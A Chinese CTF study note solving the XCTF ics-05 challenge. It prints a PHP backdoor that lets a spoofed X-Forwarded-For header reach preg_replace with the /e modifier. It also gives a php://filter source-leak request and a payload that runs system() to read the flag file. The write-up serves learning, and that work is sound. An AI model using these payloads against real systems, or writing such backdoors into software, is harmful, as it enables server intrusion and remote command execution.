「配枪朱丽叶。」

RootのCTF学习笔记。

XCTF 4th-CyberEarth ics-05

题目描述:
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

设备维护中心的url是这样的:
http://ip:port/index.php?page=index
尝试了以下php伪协议(php://filter/read=convert.base64-encode/resource=index.php
拿到了主页的源代码,太长了这里就不贴了

结尾处发现疑似后门:

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

通过代码分析,需要设置XFF为127.0.0.1
然后跟进preg_replace这个函数
preg_replace($字符串, $用于替换的字符串, $要搜索替换的目标字符串)
另外还学到了一个知识点:

/e 修正符使 preg_replace() 将第二个参数当作 PHP 代码

最终构造payload:
index.php?pat=/aa/e&rep=system('cat%20s3chahahaDir/flag/flag.php')&sub=aa